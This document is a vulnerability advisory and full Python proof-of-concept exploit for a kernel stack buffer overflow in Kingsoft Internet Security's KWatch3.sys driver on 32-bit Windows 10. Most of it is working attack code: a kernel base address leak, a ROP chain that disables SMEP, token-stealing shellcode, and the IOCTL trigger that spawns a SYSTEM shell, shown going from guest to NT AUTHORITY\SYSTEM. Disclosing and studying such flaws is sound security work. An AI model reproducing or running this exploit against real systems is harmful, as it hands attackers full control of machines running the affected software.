Kingsoft Antivirus/Internet Security 9+ – Local Privilege Escalation
""" Kingsoft Antivirus/Internet Security 9+ Kernel Stack Buffer Overflow Privilege Escalation Vulnerability Anti-Virus: http://www.kingsoft.co/downloads/kav/KAV100720_ENU_DOWN_331020_10.rar Internet Security: http://www.kingsoft.co/downloads/kis/kis.rar Summary: ======== This vulnerability allows local attackers to escalate privileges on vulnerable installations of Kingsoft Internet Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by the KWatch3.sys (internet security) kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel stack buffer overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel. Vulnerability Analysis: ======================= I am only going to detail a single bug since both ioctl handlers are *almost* identical. Inside the KWatch3.sys driver, we can see the following handler code for the first ioctl code (0x80030004) ; jumptable 000117C1 case 0 .text:000117C8 loc_117C8: ; CODE XREF: sub_11790+31 .text:000117C8 .text:000117C8 push ebx ; our input buffer size .text:000117C9 lea ecx, [esp+58h+var_40] ; this is a fixed size stack buffer of 0x40 .text:000117CD push edi ; our input buffer .text:000117CE push ecx ; char * .text:000117CF call strncpy ; stack buffer overflow .text:000117D4 add esp, 0Ch .text:000117D7 lea edx, [esp+54h+var_40] .text:000117DB push edx ; char * .text:000117DC mov [esp+ebx+58h+var_40], 0 .text:000117E1 call sub_167B0 .text:000117E6 pop edi .text:000117E7 mov esi, eax .text:000117E9 pop esi .text:000117EA pop ebp .text:000117EB pop ebx .text:000117EC add esp, 44h .text:000117EF retn 8 Additional bugs: ~~~~~~~~~~~~~~~~ Out-of-Bounds Read vulnerabilities exist in the following ioctls as well: - 0x8003001c - 0x80030020 - 0x80030024 - 0x80030028 There is more, but I gave up. This happens because there are several functions that contain code like this: .text:000172A0 loc_172A0: ; CODE XREF: sub_17280+29 .text:000172A0 mov cx, [eax] ; @eax is our input buffer .text:000172A3 add eax, 2 .text:000172A6 test cx, cx .text:000172A9 jnz short loc_172A0 ; jump if there is no null word So all we have to do is set our input buffer to contain no null word values. Note that these only trigger a bug check if special pool is enabled and dont look exploitable (no leaking in the output buffer) Example: ======== c:\Users\Guest\Desktop>whoami victim\guest c:\Users\Guest\Desktop>poc.py --[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ] Steven Seeley (mr_me) of Source Incite (+) enumerating kernel base address... (+) found nt base at 0x8147e000 (+) allocating shellcode @ 0x24242424 (+) sending stack overflow... Microsoft Windows [Version 10.0.15063] (c) 2017 Microsoft Corporation. All rights reserved. c:\Users\Guest\Desktop>whoami nt authority\system c:\Users\Guest\Desktop> References: =========== - https://sizzop.github.io/2016/09/13/kernel-hacking-with-hevd-part-5.html """ import sys from ctypes import * from time import sleep from ctypes.wintypes import * import struct import os from random import choice kernel32 = windll.kernel32 ntdll = windll.ntdll MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 STATUS_SUCCESS = 0 def get_ioctl(): return choice([0x80030004, 0x80030008]) def alloc_shellcode(base, input_size): """ allocates some shellcode """ print "(+) allocating shellcode @ 0x%x" % base baseadd = c_int(base) size = c_int(input_size) # --[ setup] input = struct.pack("<I", 0x000506f8) # bypass smep # --[ setup] input += "\x60" # pushad input += "\x64\xa1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] # I have to do it like this because windows is a little special # this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80. input += "\x8d\x40\x70" # lea eax, [eax+0x70]; input += "\x8b\x40\x10" # mov eax, [eax+0x10]; input += "\x89\xc1" # mov ecx, eax (Current _EPROCESS structure) # win 10 rs2 x86 TOKEN_OFFSET = 0xfc # win 07 sp1 x86 TOKEN_OFFSET = 0xf8 input += "\x8B\x98\xfc\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] # --[ copy system PID token] input += "\xba\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) input += "\x8b\x80\xb8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] <-| input += "\x2d\xb8\x00\x00\x00" # sub eax, FLINK_OFFSET | input += "\x39\x90\xb4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx | input += "\x75\xed" # jnz ->| # win 10 rs2 x86 TOKEN_OFFSET = 0xfc # win 07 sp1 x86 TOKEN_OFFSET = 0xf8 input += "\x8b\x90\xfc\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] input += "\x89\x91\xfc\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx # --[ recover] input += "\x61" # popad input += "\x83\xc4\x0c" # adjust the stack by 0xc input += "\x31\xc0" # return NTSTATUS = STATUS_SUCCESS input += "\xc3" # ret # filler input += "\x43" * (input_size-len(input)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff) return False written = c_ulong() write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written)) if write == 0: print "(-) Error while writing our input buffer memory: %s" % write return False return True def alloc(base, input_size, ip): baseadd = c_int(base) size = c_int(input_size) input = "\x44" * 0x40 # offset to ip # start rop chain input += struct.pack("<I", nt + 0x51976f) # pop ecx; ret input += struct.pack("<I", 0x75757575) # junk input += struct.pack("<I", 0x76767676) # junk input += struct.pack("<I", ip) # load a ptr to 0x506f8 input += struct.pack("<I", nt + 0x04664f) # mov eax, [ecx]; ret input += struct.pack("<I", nt + 0x22f2da) # mov cr4,eax; ret input += struct.pack("<I", ip + 0x4) # &shellcode # filler input += "\x43" * (input_size-len(input)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff) sys.exit() written = c_ulong() write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written)) if write == 0: print "(-) error while writing our input buffer memory: %s" % write sys.exit() def we_can_trigger_overflow(): GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 IOCTL_VULN = get_ioctl() DEVICE_NAME = "\\\\.\\KWatch3" dwReturn = c_ulong() driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) ip = 0x24242424 inputbuffer = 0x41414141 inputbuffer_size = 0x60 outputbuffer_size = 0x1000 outputbuffer = 0x20000000 alloc(inputbuffer, inputbuffer_size, ip) alloc_shellcode(ip, 0x100) alloc(outputbuffer, 0x100, ip) IoStatusBlock = c_ulong() if driver_handle: print "(+) sending stack overflow..." dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), IOCTL_VULN, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) return True return False def we_can_leak_the_base(): """ Get kernel base address. This function uses psapi!EnumDeviceDrivers which is only callable from a non-restricted caller (medium integrity or higher). Also the assumption is made that the kernel is the first array element returned. """ global nt print "(+) enumerating kernel base address..." c_ulong_array = c_ulong * 1024 lpImageBase = c_ulong_array() szDriver = c_ulong_array() cb = sizeof(lpImageBase) lpcbNeeded = c_long() res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase), sizeof(lpImageBase), byref(lpcbNeeded)) if not res: print "(-) unable to get kernel base: " + FormatError() sys.exit(-1) # nt is the first one nt = lpImageBase[0] # find KWatch3, for if it doesnt exist, we can't exploit it now... for driver in lpImageBase: lpBaseName = create_string_buffer("", MAX_PATH) GetDeviceDriverBaseName = windll.psapi.GetDeviceDriverBaseNameA GetDeviceDriverBaseName.argtypes = [LPVOID, LPSTR, DWORD] if(GetDeviceDriverBaseName(driver, lpBaseName, MAX_PATH)): if lpBaseName.value == "KWatch3.sys": return True return False def main(): print "\n\t--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]" print "\t Steven Seeley (mr_me) of Source Incite\r\n" if release() != "10" or architecture()[0] != "32bit": print "(-) although this exploit may work on this system," print " it was only designed for Windows 10 x86." sys.exit(-1) if we_can_leak_the_base(): print "(+) found nt base at 0x%08x" % (nt) if we_can_trigger_overflow(): os.system("cmd.exe") else: print "(-) it appears that kingsoft Internet Security is not vulnerable!" sys.exit(-1) else: print "(-) it appears that kingsoft Internet Security is not installed!" sys.exit(-1) if __name__ == '__main__': main() |